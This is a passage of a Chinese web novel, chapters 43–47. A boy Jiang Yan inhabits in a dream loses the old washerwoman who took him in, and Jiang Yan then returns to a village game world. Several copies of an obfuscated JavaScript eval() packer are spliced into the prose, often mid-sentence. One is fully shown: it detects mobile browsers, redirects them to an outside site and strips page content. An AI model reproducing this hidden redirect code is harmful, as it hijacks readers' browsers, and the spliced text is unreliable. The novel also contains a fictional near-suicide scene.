更多的时候,他随随便便走到一条街上,会被一些成年人叫着嚷着赶开。 ……每一条路,每一个人,都带着他走向一个短暂的,未知的未来。 江晏毕竟已经活了很多年了,他初看到一些人,便能大概判断出来性格人品。 可这个小孩不会。 他只会在江晏内心疯狂的咆哮中一次次接近人牙子,然后在一次次凭借着机灵和莫名的好运落荒而逃。 在这一次次过山车般的心情后,江晏也开始看开了。 ——小孩活下去也好,活不下去的话……应该能醒来看到宁时了吧? 不过还是希望小孩活下去吧。江晏站在这个梦境,用上帝视角想着。 这么旺盛的生命力,是应该活下去的。 一天天过去了,小孩没有辜负他的希望,确实是在活着,甚至是成长着。 他的个子高了,从前褴褛的裤子更是断了一截,露着一大截小腿,在春寒料峭中,看着就冷。 不过再冷,也比那次在大雪中遇见小公子的那天好多了。 通过这一段时间的观察,江晏能发现,这个小孩一路走着,也没有无头苍蝇似的乱撞,而是在南下。 江晏表示支持,他觉得这小孩还是蛮聪明的。 现在的季节还没有暖和起来,南方的温度总归是比北方好上一些。 日子一天天过去,路边光秃秃的枝条泛了绿。 江晏打了个哈欠,想着果然是春困秋乏。 这些日子,他一直被困在这个梦境里。据江晏自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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…… 但这样的事情不会只有一次的,尤其是这个世界背景看起来还不太安定。 在一次次饥饿与满足中,江晏甚至开始习惯来自别人的东西。 运气好的时候,能像从前遇到的书生一样,用不痛不痒的一点劳动,换来几顿饭。 运气糟糕的时候,碰不见收小孩的主顾,便只能碰碰运气找食物——就像现在。 江晏顺着小孩的视线,打量着面前的人。 这是一位老人,从外表上看,可能五十多岁了。 但江晏不能确定年龄。 在这个世界里,过得不好的人总是衰老得更快一些。 这还是一位老婆婆。 她太瘦了,形容枯槁,只剩下稀疏的头发,如杂草一般盘在头顶,以至于让江晏一时没有分辨出来她的性别。 此时,这个瘦小的女人正坐着,从河水里抬起双手,慢慢扯出一件洗干净的衣服。 老婆婆把衣服放在篓子里,抬起头,平视着小孩:“孩子,怎么了?” 江晏感到自己嘴边动了动,声音传了出来:“我五天没有吃饭了。” “你有吃的吗,你给我吃的,我帮你洗衣服。” 43. 婆婆 这样类似的话,江晏也不知道从小孩嘴里听过多少次了。 最终得到的回答无非是“没有,滚一边去”,或者是有条件无条件的答应。 但是这一次,江晏等了很久,对方都没有回答。 他有些搞不清楚情况了。 面前的婆婆应该是听见小孩刚才说的话了,她洗衣服的动作停了下来,转过头,注视着小孩。 但是她并没有说话,只是用一双被褶皱压塌的眼睛,在小孩脸上看了很久。 她看起来太老了,或者是太不健康了,江晏无法透过她泛黄的眼睛,猜到她在想什么。 小孩也有些不安。 江晏能感觉这个身体往后退了一步。 一双苍老的手缓缓摸上了他的脸。 江晏没有躲开。 可为什么控制这具身体的小孩也没有躲开呢。 是因为那手上被河水浸冷后依然透着的温度吗? 是因为她逐渐泛起水光的眼睛吗? 还是因为她声音嘶哑,口中喃喃的“阿宝”那个名字呢? 江晏此时并不会知道当时的小孩是怎么想的。 他只知道,面前的婆婆似乎把小孩认成了什么人。 小孩还在原地僵着,让婆婆摸了很久他的脸。 最终,那双手收了回去。 江晏听见小孩说:“阿宝是你什么人?” 春风中没有人回答。 小孩又说:“我和他很像吗。” 灰色的柳枝随风扬起,在河面划动。 婆婆说:“留在我身边吧。” “阿宝是我唯一的孩子,你很像他。” 那一阵风消失了,柳枝又垂了下来。 小孩说:“可我不是他,也许我们只是长得想。” 婆婆摇摇头:“我知道。” “你长得像他就可以了。” “你在我身边住下,有吃的。” 此时是乱世中的人间,除了答应,似乎没有更好的选择。 果然,江晏听到了小孩说:“好啊。” …… 江晏不得不承认小孩这个选择是正确的。 他在梦境里又过了三个月,换句话说,他跟着小孩在婆婆家里住了三个月。 婆婆姓吴,死去的丈夫姓李,她便是李吴氏,如今做着一名洗衣婆,工作辛苦,换来的铜钱也不多。 但确实如李吴氏所说的“有吃的”。 自从住进李吴氏家里以后,小孩会帮她洗洗衣服,婆婆则会带来一些米糊窝头。 偶尔婆婆去买菜的时候运气好,商家见她过得艰难,会赠一点咸菜。 紧紧巴巴的,但可以维持他们的生活。 这样的日子又过去了三个月,从早春到处暑,再到立秋,江晏感觉小孩可能又长高了一些。 证据就是婆婆家的门框,小孩不用踮着脚也能摸到了。 小孩在长着,力气也在变大,他甚至也接到了一份给木工送饭的工作。 这些木工大多是给本地商户、小富之家做家具的,收入还算稳定。 小孩送饭的时候,也听了他们不少聊天内容。 比如哪家的家主病了,试图寻仙,还真让他从哪里高价买到了仙丹,果然药到病除。 比如哪家的铺子雇了新的小工,结果他试图勾引雇主家的女公子,被雇主打了一顿。 在这些家长里短的八卦中,生活好像变得真实起来。 一切看起来都是那么不错,至少小孩是这样认为的。 因为江晏看到小孩已经开始对未来的生活许愿了。 比如希望他随口吐在门口的桃核,在第二年能发芽,这样他和婆婆就有桃子吃了。 江晏想笑,桃核怎么会在一年内变成能结果的桃树呢。 果然还是个小孩,挺乐观的。 许愿,说明对以后的生活有了期待。 但江晏感觉小孩的期待可能会和他的美好生活一起落空。 这倒不是因为他如今已经是一个成熟的老家伙了,更不是因为他在这个副本世界里是一只阴暗男鬼,而是因为那些木工聊天的内容。 小孩毕竟还是小孩,听不出什么东西。 但江晏可是听出了不少东西。 有天木工们聊起天来,说到本地的一家士族突然举家搬迁,就连好多贵重的家具都不要了。 也有木工说,那天去做工,看到主人家从后门运了很多米面进来。 甚至有一天,江晏听见几个木工为另一个人送行,原因是他被征用了。 但具体用来做什么,就连这被征用的木工自己都不知道。 种种迹象联系在一起,江晏感觉要坏事了。 结合这乱世的背景,他感觉所谓的坏事十有八九是要打仗。 他便很想提醒一下小孩,告诉他每天不要傻乐了,也不要做着桃树结桃子的美梦了。 当务之急,是收拾好家里的东西,和婆婆一起离开这个地方。 至于往哪个方向走,很遗憾,江晏自己也不知道。 …… 在江晏的焦虑中,日子还是一天天过去,树上的叶子从绿变黄,然后在寒冷潮湿的冬天里掉下,合着冰雨烂在地上。 转眼便到了年关。 集市上依旧是熙熙攘攘,和以往并没有什么很不同的地方。 江晏看见婆婆给小孩买了一袋糖瓜,小孩便紧紧抱在了怀里,把整个糖瓜敲下来一点,含在嘴里,慢慢地吃着。 一大一小两个身影,在巷子中渐渐变小了。 江晏附在小孩身上,能闻见糖瓜香甜的气息。 他突然冒出来一个念头:也许是自己想多了呢。 那搬走的士族可能确实要去外地发展。 囤了米面的人家也许是来了客人。 …… 就让这日子如流水般平静地过去吧。 江晏想,小孩和婆婆都挺难的,就让苦难到此为止吧。 正月里锣鼓声声,红纸撒了满地。 二月二,龙抬头,门外那条潺潺的河流变得欢快起来。 江晏看着小孩度过了一个平安的冬季。 于是他隐约松了口气。 一时间,这个世界的战火,和外面世界的任务,都好像离他远了。 这样平和的日子却在一个晚上被征用打破。 那是一声巨响,江晏从小孩身上惊醒。 他跟着小孩和婆婆坐起来,明明是深夜,却能看清屋子里的东西——外面的天泛着跳动的橘红色。 江晏心说坏了。 小孩却还没有反应过来,他呆呆地揉了揉眼。 江晏急得想踹他。 还好他旁边婆婆回过神来,一把拉住小孩胳膊:“快,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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婆婆也看出了不对劲,拉着小孩转身回了院子里,还没忘记抖着手锁上门。 江晏感觉要坏事了。 小孩跟着婆婆哆哆嗦嗦地回到院子里,婆婆把他往狗窝里面推。 小孩不要。 江晏像隔着一层玻璃看电影一样,看见婆婆家的大门在距离震动,再被破开。 看着从来没什么力气的婆婆硬把小孩踹进狗窝里。 她说:“我已经失去阿宝一次了,不能再失去第二次了。” 然后小孩世界暗下来,江晏看不见了。 那些人说着小孩听不懂的,但他能听懂的话。 无非是打了仗,一方怀疑另一方躲在别人家里。 小孩和婆婆这些老实本分的人能知道什么呢,自然是什么也说不出来。 小孩听着,婆婆被他们带走了。 然后他们在院子里,家里开始翻找。 从米缸到房梁,都没有放过。 也没有放过这个狗窝。 在脚步声里狗窝越来越进时,江晏跟随小孩从窄小的洞口挤了出去,苍白的天光洒在身上。 44. 碎瓷 后面一连串的事情发生得太快,连江晏也感觉反应不过来。 先是小孩和婆婆居住的小镇里多了很多人,在原来居民的房屋里住下,然后又是大批的人出走。 但小孩没有走,他在镇子附近偷偷摸摸地生活了五六天。 江晏知道他是在打探婆婆的消息。 但是毫无头绪。 江晏能感觉到小孩的身体逐渐变得虚弱,没有固定的食物来源,他又回到了一年前吃不饱的状态。 人饿狠了,能干出来平时不敢做的事。 在小孩流浪了七天后,江晏看到他胆大包天地潜入了这批外人聚集住宿的地方。 还好小孩长得小小的,衣服在这几天的颠沛中弄得灰扑扑,一点也不显眼。 再加上他走路又毫无声息,就这样在守卫换班的时候,溜进了厨房。 江晏跟在他,本来还是心惊胆战的,生怕他被抓住。 但看着小孩这么灵巧,也渐渐放下心来。 他看着小孩摸到灶台边,掀起盘子上的粗布,拿了一个馒头,拍扁,揣进兜里。 如此重复了六次。 然后准备开溜。 就在他要走出厨房时,远远传来了脚步声和说话声。 小孩的动作便一下子顿住了,他看了小厨房一圈,最后躲进了角落的柴火垛里。 脚步声越来越近,谈话的声音越来越清楚,从刚才朦胧的嗡嗡声变成了能辨认出来的句子。 江晏听见一人说:“真累,这个时候才下值。” 另一人道:“不知还有没有饭。” 说完,便能看见厨房门口处多了两道阴影,接着能看到两双穿了靴子的腿走了进来。 一人走到灶台前,翻了几下,嘟囔道:“只剩下两个馒头和咸菜了。” 另一双靴子也走了过来,看了眼:“真过分。” 又接着说:“要不是那些原住民生病了,本来可以早些吃饭的,还用得着吃这些冷菜。” 江晏听到“原住民”几字,心里突然有些在意。 第一个走到灶台边的那人接过对方的话说道:“谁知道会突然有疫病,没了几个。” 他想起什么似的,对旁边人说到:“说起来,你收拾完拿硫磺搓手了吗?” 他的同伴冷冷道:“自然是的,不然我还来吃饭?” “说起来,应该让头头也给他们吃点正经的,毕竟也没犯什么事。抬出去的那个老太婆,瘦得跟什么似的。” …… 江晏听到这里,脑袋嗡一下大了。 后面的两人说的话他只能听见一片杂乱的声响,辨别不出来内容了。 也不知道原因是在他自己还是在小孩身上。 江晏感到有什么水流的声音,一股股在耳侧响着。 过了很久,他才意识到,那是血管被激流的血液冲击的声音。 他渐渐能听懂外面两人在说什么了。 一人说:“这样的活我不想干第二次了。” 另一人符合着:“在城南那片地方,路又远又难走。” …… 两人在厨房吃了那剩下的两个馒头和咸菜,有一搭没一搭地聊着天,过了一柱香的时间,才离开。 江晏跟随小孩扒开那堆柴火,站在厨房中。 窗口中撒下的依然是苍白的日光。 这座南方小镇的春天总是这样,阴天的,冷冷的,潮湿的。 小孩没有动他兜里那六个馒头。 江晏能感受到,他现在很饿,但又很想吐。 胃里除了酸液什么东西也没有,但依然在绞着,想突出什么东西。 也许胃想把胃吐出来。 …… 江晏陪着他在原地待了很久,然后安静地溜了出来。 在逃离了这同时给了他食物和绝望的地方之后,江晏看着小孩,确实是在往城南去了。 在这里生活了一年,江晏自然知道那里不但是一片荒地,同时也是坟场。 小孩溜进厨房的时候还是刚过了晌午,等他到了城南,已经是傍晚了。 他兜里依然是六个馒头,只不过比刚拍扁的时候蓬起来一些。 江晏在小孩的身体上,看着他在坟场上挨个看过去。 江晏想,这其实是没有用的。 他跟着小孩走过了几个小土堆,不难发现,这里很多土堆是没有姓名的。 …… 其实这样找不到姓名的话,婆婆应该还活着的吧。 江晏想着。 但是他的视野突然停住了,那是小孩停住了脚步。 视野里是一座矮矮的土堆,上面敷衍地插了一张薄薄的木片,像是从木匠做工剩下的边角料里随手捡的。 上面还刻了字,也是歪歪扭扭,笔画深浅不一。 江晏感觉有点不敢看上面的字了。 小孩也是这样想的,江晏的视野向下移了移,是小孩突然低了头。 小土堆上有个碎杯子,白瓷的。 碎得很彻底,大大小小的碎片撒了一地,估计木片上面七扭八歪的字就是当时有人拿着碎片划上去的。 视野又动了,这次回到了那根木片上。 “李吴氏之墓”。 乱世中随手给出的一点点好心,熄灭了小孩的希望。 视野长久地静止了。 视野上漫起了水。 然后视野开始剧烈摇晃,旋转,伴随着嘶吼的声音。 …… 江晏感觉眼前突然黑了。 他懵了一瞬,才意识到小孩可能是晕了过去。 小孩已经饿了很久,再加上刚才剧烈的情绪波动,气血上涌,才一时昏了。 江晏叹了口气,这都是什么事啊。 他便守在小孩身上,等着小孩醒来。 天色越来越暗了,浓云密布,不一会儿,开始下起了淅淅沥沥的雨。 小孩还晕着,江晏有点着急了。 他想到小孩躺着地里,身下都是凹凸不平的泥土,等雨水一多,肯定和泥了。 而且小孩兜里还装着馒头呢,沾上泥水这可怎么吃啊。 总之在江晏焦急的心情下,小孩终于慢慢睁开了眼。 他坐起来,看着眼前的坟地,一时间没有反应过来。 雨还在下着,小孩的身下渐渐聚起了小水坑。 水坑的面积在不断扩大,边缘慢慢浸上了小孩撑在地上的手指。 或许是雨水太凉,小孩打了个激灵,回过神来。 他看看眼前的土堆,突然开始翻兜。 江晏见他把那六个馒头都拿了出来,摆在身上,先拿了一个,大口咬下去。 他那口太大了,江晏隔着一个灵魂都感觉嗓子被撑得疼。 第一口还没咽下去,小孩又大大咬下了第二口。 这时馒头已经被雨打湿了,透过皮浸到了馒头芯里,吃起来水塌塌的。 江晏想,这里面也许还有别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902355|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水。 因为这一口吃起来有点咸。 小孩一口口咬着馒头,江晏只觉得眼前越来越模糊,口里的馒头越来越咸。 求求你别哭了,江晏想。 但他在这个世界什么也没有,什么也做不了。 江晏就这么陪着小孩吃了几个咸馒头后,感觉鼻子有点堵,人中有点凉。 他意识到了什么。 可小孩还在吃馒头。 江晏也想哭了,拜托你吃归吃,腾出手擦一下鼻涕啊。 还好小孩似乎听见了他的心声,百忙之中腾出右手,用袖子摸了下鼻子。 江晏:…… 行吧,鼻涕沾在衣服上总比被吃了好。 他看着小孩一口气吃掉了六个馒头。 小孩有看向那小土堆,看向那插在土堆上的木片。 被雨水冲刷,木片已经微微倾斜了。 小孩伸出手,把它向下压了压,扶正了。 江晏顺着小孩的视线,沉默地看着木片上的字。 突然,小孩的视野又动了,这次对准的是土堆边上碎瓷片。 江晏一瞬没反应过来他想干什么。 直到小孩伸手拿起一块碎得很尖锐的瓷片并在手腕上比划时,江晏发出尖锐爆鸣。 天杀的!老子云养的孩子要自杀,我要报官! 小孩没做过这种事,自己弄出了浅浅的一条红线。江晏见了,一口气还没松完,就有看见小孩把碎瓷片在手上翻了下,仔细观察了个个断面情况后,换了个姿势举起了手。 感情你刚才是在研究怎么方便啊,江晏吓得快要给小孩跪下了。 他在小孩身体里,感受着手一点点抬起,一点点靠近脖子,欲哭无泪。 尽管小孩听不见,但江晏还是说话了。 他说: 活下去,不要死。 你别死啊,算我求你了。 真的,我求你了,活下去吧。 坚持一下,活下去吧。 …… 抬起手这么一个动作需要不了什么时间,江晏不知道自己在这短短一瞬都絮絮叨叨了什么。 冰冷的感觉渐渐靠近脖子,就在江晏感觉一切都要完了的时候,他听到了什么东西碎裂的声音。 然后他的世界再次黑了下来。 这次不同于刚才小孩晕倒时江晏的感受,在漆黑中,还伴随着天旋地转。 那旋转停止后,江晏只觉得四肢都很沉重。 他暂时忘记了小孩的存在,开始努力睁开双眼。 眼皮很沉重。 江晏开始有点慌了。 慌了的结果是他更加用力地睁眼,终于在他的不知道第多少次努力后,他的视野亮了。 ……但是有些太亮了,晃眼,江晏看不出来这是在哪里。 一个模糊的黑影出现在他的视线里,逆着光,明暗对比中,江晏还没有适应,看不清他长什么样。 他眨巴了几下眼睛,终于看清了来人。 噢,是宁时。 噢,他回到了和分魂相处的第二个世界中。 所以终于从那个漫长的梦境里离开了,江晏想。 一道清明的声音打破了江晏的感慨: “嗯……想问一下,你家里有什么吃的吗?” 一瞬间,什么小孩什么婆婆什么碎瓷片都从江晏的脑海里消失了。 他木然地躺着床上,看着面前俯视着自己并等待投喂的宁时。 45. 早饭 作为这个世界的外来者,江晏确实不知道家里有什么吃的。 而且他已经粗略在这个家盘点过了,虽然村庄里有电线之类的现代科技的痕迹,但系统给他分配的家里别说是冰箱了,连电灯都没有。 想来也不可能储藏什么食物。 于是江晏躺在床上,和宁时大眼瞪小眼了片刻,缓缓道:“……我都和你们说过了,我失忆了。” “你们自己找找吧,如果没有找到吃的,那就是没有。” 他说完,看到宁时的表情微微裂开了。 高冷男人的外壳出现了裂痕。 但江晏很能理解,尤其是他刚才做了那个惨兮兮的梦。 宁时再怎么说也是人,是个人就得吃饭。 想到此处,江晏发现了另一个了不得的问题。 他问啾啾:“我现在这个身体需要吃饭吗?” 啾啾很快回答他了:“你吃不吃都行。” 江晏便放下心来,把注意力又集中到面前的宁时身上。 宁时好像被他彻彻底底的失忆和没有食物的噩耗震惊住了,依然保持着俯视他的姿势,没有动。 宁时不动,江晏动。 江晏干咳了一声,对他挥了挥手:“发呆呢?” 宁时终于回过神,往后挪了挪:“……你刚才睡得香,我们又很饿,就在你家里明面上看了看,没有找到吃的。” 江晏坐起身,一边穿鞋,无奈:“去看看米缸这种地方吧。” 二人刚走出房门,只见黄成钢风风火火闯了进来:“这是什么鬼地方!” 宁时:“你在发什么疯。” 黄成钢手往外一指:“我刚才把外面几间屋子和院子都翻遍了,根本没有吃的!” 江晏皱起了眉。 这时,康林和陈锦瑶也过来了,康林脸色有些黑,看了眼黄成钢,又对江晏说:“抱歉了。” 江晏叹了口气。 陈锦瑶小声对江晏说:“……你也没吃饭吧,我们一起出去到别人家看看?” 宁时点点头。 黄成钢则是直接转身走出了院子,一边不耐道:“饿死我了。” 康林在他身后大声喊:“你给谁甩脸色呢,大家谁不饿啊。” 可能由于她的吐槽太过精准,黄成钢的背影一震,居然没有反驳。 江晏看戏入迷,噗嗤笑出了声。 宁时听到动静,回头看了他一眼。 江晏居然从对方的目光中读出了几分无奈。 宁时又对他招招手:“一起去吧。” 江晏顺从道:“好呀。” 四人走出了房门,在五米远的地方发现了黄成钢。 江晏:“……我还以为你自己去找吃的了。” 他获得了一个白眼。 宁时看见后,不动声色地拉了他一把:“你别学康林。” 这句话让旁边的康林听见了,不轻不重地踹了宁时一脚。 江晏就又憋不住笑了。 虽然这个世界的任务现在还没什么头绪,但大家总体氛围还是挺好的。 江晏住得偏,从家里到村落中心的路,他在来这个世界的第一天已经走过一次。 这次和四个玩家一路,虽然沿途景色相同,但耳边多了叽叽喳喳的声音。 几人这样走着,走过了荒地,走过了坟场,走过了菜地,又过了标志着路途已经过半的池塘。 江晏又在池塘上照了一下。 依然是苍白的少年。 只不过,他隐约觉得池塘里的水泛起的涟漪有些大了。 也许下面有条大鱼刚到水面上换过气吧。江晏想着。 几个人走着走着,面前终于出现了一排排错落的民居。 玩家们一早上没有吃一粒米,此时看到有烟火气,眼睛中都有了神采。 一行人快步走到了这些民居前,发现有有的人家已经打开了大门。 黄成钢用手虚虚指了几个方向,问:“去哪里?” 康林眼神动了动。 此时,一个看起来三十岁的青年从他们身侧的房屋里转了出来。 康林眼睛便更亮了。 她快步走上前,对青年说:“你好?” 青年抬头,看了看她,有看了看宁时几人,回应道:“你好,你们是……” 康林回答地极为自然和流利:“啊,我们是过来研学的大三学生。” “来研究一下乡村传统文化的课题。” 那青年点了点头,显然是听进去了。 康林接着道:“唔,我们昨天晚上刚过来,住在了一位小哥家,可是这位小哥家里没什么吃的,所以我们出来看看哪里能吃东西。” 说罢,朝江晏的方向努了努嘴:“就是你们村的这位小哥。” 那青年的视线便顺着康林的动作定在了江晏身上。 江晏目光对上这气质俊秀又纯朴的青年,突然想起了一件事,暗叫不好。 他回忆来到这个副本世界第一天时,遇见了几个村民,本来打算找他们问路,可是当村民们看到他时,反而都跑掉了。 真是糟糕,江晏想。 要怪就怪那个漫长的梦,搞得他都忘记了这些村民不正常的反应。 江晏盯着对面的青年,无意识地绷紧了嘴角,做好了青年尖叫并逃离的准备。 不过这次,他想象中的事没有发生。 那青年神色自若又礼貌地打量了几眼江晏,露出了一个有些尴尬的笑容,对康林道:“嗯……我不认识他。” 江晏听见,暗自松了一口气。 可这口气还没松完,他感觉此时身边的气氛微妙了起来。 黄成钢默默离他远了些,就连宁时也在看着他。 江晏不明所以,又很快反应过来。 ……是哦。 在无限流副本里这么说太容易被误会成幕后会伪装PIAY的怪物啊—— 江晏瞳孔地震,张口试图解释。 还好有人替他说出了口。 那青年似乎看出了气氛的不对劲,开口道:“啊,是这样的。” “我在村子里待的时间不长,不长住,所以很多人人不全。” “我爸爸爷爷辈的人应该会认识这位小哥。” 江晏嘴角抽搐了一下,想到那些躲避他的人确实都是生了白发,体态苍老的人群,便觉得青年的话也不无道理。 青年看起来是个热心人,他指了指身后的屋子,对众人道:“来我家吃饭吧。” 宁时四人都动了。 但江晏没有动。 ……万一青年家里有他说的爷爷辈的老人怎么办? 万一老人家看到自己又像之前那些人反应那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们村里最古老的文物都是将近三百年之前的呢。” 这句话终于不是村头爷爷家的狗和隔壁婆婆家的猫打了架这种毫无营养的流水账了,五人交换了个眼神,竖起耳朵听着。 “嗯,还不止一件呢,那可是一批老物件。” 叶明净抬起手远远指了个方向:“就在那边,我们村还专门建了个地方放这些宝贝。” “你们要是做课题的话,可以去那里看看。” 在进入副本第二天后就有了方向,玩家们的心情都好了很多。 宁时问:“那里都有什么啊?” 叶明净笑了:“是一些簪子。” 康林没有反应过来:“什么簪子?” 叶明净指了指自己的头顶:“就是你们女孩子,在以前固定长头发用的簪子。” “我们这里以前,每户人家生了女儿,就会给她准备一只发簪。” “等到及笄的年龄,就可以戴上了。” “这只发簪在之后的日子里,会陪伴她们出嫁,直到走到生命的尽头。” 46. 村志馆 明明发簪是类似埋在树下的女儿红一类的物品,可加上叶明净那句“生命的尽头”,突然就多了一丝难以言明的意味。 宁时微不可查地皱了下鼻子。 黄成钢则是用力在胳膊上搓了搓,大声道:“小哥你说的这么吓人干啥。” “陪伴一辈子就说一辈子嘛,还非得说生命尽头,怪吓人的。” 叶明净摊开手:“可是有的女孩一辈子太短了,我简直不忍心用一辈子来形容她们的一生。” 话音一落,刚刚就不太美妙的气氛现在几乎凝固了下来。 江晏听到自己旁边有一点什么东西移动的声响,偏头看去,是陈锦瑶搬着椅子向康林挪近了,两只手十指还扒在康林袖子上,指尖呈现出因压迫带来的青白和浓粉。 ……好像叶明净形容地确实挺吓人。 江晏后知后觉地想,自己要不要也学一下陈锦瑶,挂在宁时身上,拉进一下双方感情呢? 他抬眼,偷偷摸摸地瞄了一下宁时。 结果正好对上了宁时没什么表情的脸。 四目相对的瞬间,江晏超绝的执行力让他说干就干。 于是他在把上身倾向宁时的同时,双眼微微正圆,凹了个无辜狗狗的造型,用左手推了下宁时,小声道:“这是什么意思啊。” 宁时平静的表情在他的演技下出现了松动。 江晏满意极了。 然后他听见宁时一字一顿道:“你可真是失忆忘了个干净,本来就是这里的人,还什么也记不住。。” 江晏点头。 宁时垂头,看着自己被拉住的手,叹了口气。 叶明净又说话了:“你们害怕啊?” 康林露出了一个一言难尽的表情。 叶明净见了,挠挠脑袋:“以前医疗条件又不发达,寿命短也是正常的……算了,不说这个了。” 他再次指了刚才那个方向:“所以你们去看看吗?我可以一起去。” 众人纷纷点头。 离开了叶明净的家,往东不过四五百米,就见到了一个明显和其他民居不一样的建筑。 这个建筑更加高大,从外观上看,面积可能有四五个普通人家那么大。 几人走到门口,江晏看到上面写了几个大字: 村志馆。 叶明净对众人道:“叫这个名字,其实是类似博物馆一样的地方。” “我带你们进去看看吧。” 江晏往里面张望着,只见屋子里开着几盏灯,但那些灯光并不足以照亮室内,显得有些昏暗。 不过大部分展馆不营业的时候就是这样。 六人跨过门槛,在进入这屋子的一瞬间,江晏感觉明显凉快了下来。 他的感觉不是错觉,陈锦瑶也小声感叹着:“这里比外面冷欸。” 一道陌生的声音在村志馆里响起:“对,我们开着空调呢。” 陈锦瑶:…… 众人转头,试图在这采光不好的地方寻找声音的来源。叶明净却在听到这个声音后,冲着侧面一米多高的柜台跑了过去。 一边还说着:“欸,这是我们李叔啊。” 李叔……这个称呼一听就是上了年纪的人。 江晏想起了什么,背对着柜台,问宁时:“你带口罩了吗?” 宁时把背包拿下来,掏出了一个带包装的黑色口罩:“你要这个干啥。” 江晏:“……有点冷。” 然后他听见宁时没什么多余感情的评价:“还挺娇气。” 江晏咬咬牙,不理他,戴上口罩又转过身去,用背影对着宁时。 娇气就娇气吧,他还没搞清楚自己现在的身份,还是遮挡一下防止认出来。 前边,传来了椅子在地面上摩擦的声音,是有人拉开椅子站了起来。 江晏看去,叶明净搀扶着什么人,慢慢从柜台后绕了出来。 叶明净是个话唠:“李叔,他们是过来研究咱们村的大学生,我就带他们来这里了。” “正好你今天值班啊。” 他口中的李叔终于从柜台后面绕出来了。 在江晏预料之中,那确实是一个老年人。 一个看起来至少有60岁的男性,穿着一身白褂黑裤,他头发已经全白了。脸上的皮皱着,有些瘦,比叶明净矮了一个头。 李叔睁开眼,在几人脸上扫了一圈。 戴了口罩的江晏与他自信对视。 不知是他遮挡了面部的缘故,还是李叔根本不认识他,总之,李叔的目光没有在江晏身上过多停留。 江晏松了口气。 李叔打量了他们五人一遍后,点了点头:“行,你们可算来对地方了。” “我就带着你们转转吧。” 说完,便转过身去,走进了左手边的一家屋子。 宁时等人连忙跟上。 江晏只跟着宁时,走了几步,发现叶明净也过来了。 他忍不住说:“你不就是这里的人吗,还不了解这些啊。” 叶明净的目光跟着李叔,一边回答江晏的话:“对,我家里不怎么给我讲故事,长大后又很少回家,自然不了解。” 接着又转过身,面对着江晏:“你还问我呢,你这个本地人不也过来听了吗?” 江晏:“……我失忆了。” 叶明净沉默了。 随后大力拍打了几下江晏的肩膀,以示安慰。 可能是叶明净拍打江晏的声音太大,宁时回头看了他们一眼。 江晏回报以一个茫然的眼神。 接着宁时眼神动了动,突然停下。 江晏:? 宁时又对他招了招手,江晏便欢快地小跑过去了。 宁时看着他到自己身边后,才道:“你们在后面嘀咕什么呢。” 又用眼神指了下前面的李叔,对江晏说:“跟近点,听人家讲讲的什么,没准你的记忆就回来的。” 记忆是不可能回来的,但宁时有一点没说错,江晏站的现在这个位置,听李叔的话更清楚了。 现在他们正站在一面写了密密麻麻字的墙前。 李叔指了指:“这就是我们村全部的历史了。” “上面还有一些家族的家谱。” “从前这里有许多大大小小的家族,但过了这么多年,很多小家族和一些大家族慢慢消失了。” 陈锦瑶问:“可也不过三百年,五代人左右的时长,怎么会消失呢。” 李叔看着她:“以前不比现在,即使是一点点变故,都可能给家族带来灾难。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见了宁时的动作,李叔却没有继续开口,而是依然看着几个玩家。 江晏听见黄成钢小声说:“这npc怎么不继续了?” 康林也同样小声回应:“……可能我们没有说出让他满意的回答。” 江晏听了,决定自己上——据他观察,宁时的分魂好像一直有些高冷,或者说是嘴笨。 这个场面指望不上他救场。 就在江晏向前踏出一步时,一道不算响亮的女声在村志馆里回响: “叔,你就给我们讲讲嘛。” “你看我们做这些课题,本来就是要找点有历史的事件研究。” “我们也挺好奇的,叔就讲讲嘛,谢谢叔。” 众人循声看去,只见陈锦瑶目光炯炯地看着李叔,双手握着放在身前,是一副有些紧张的姿态。 但此时面前的李叔嘴唇动了动,终于出声了:“好啊。” “我可以带着你们一边在馆里转着,一边讲这个故事。” “毕竟,故事里的一些遗物还留着。” 47. 李三花 李叔不去看众人各异的表情,转过身去向前走着带路,留给众人一个背影:“这个事大概是三百年前发生的。” “家族中作为这件事主角的女娃,叫李三花。” …… 李叔在前面走着,后面江晏听着几个玩家小声嘀咕。 黄成钢指了指陈锦瑶,对宁时道:“那老头怎么不听你的话反而听这个小美女的?” 宁时:“……” 江晏被黄成钢这声“小美女”搞得有点替陈锦瑶恶心,他一扭头,果然看到陈锦瑶蹙着眉。 康林显然也注意到了。 她挤到陈锦瑶身边:“感觉不舒服?” 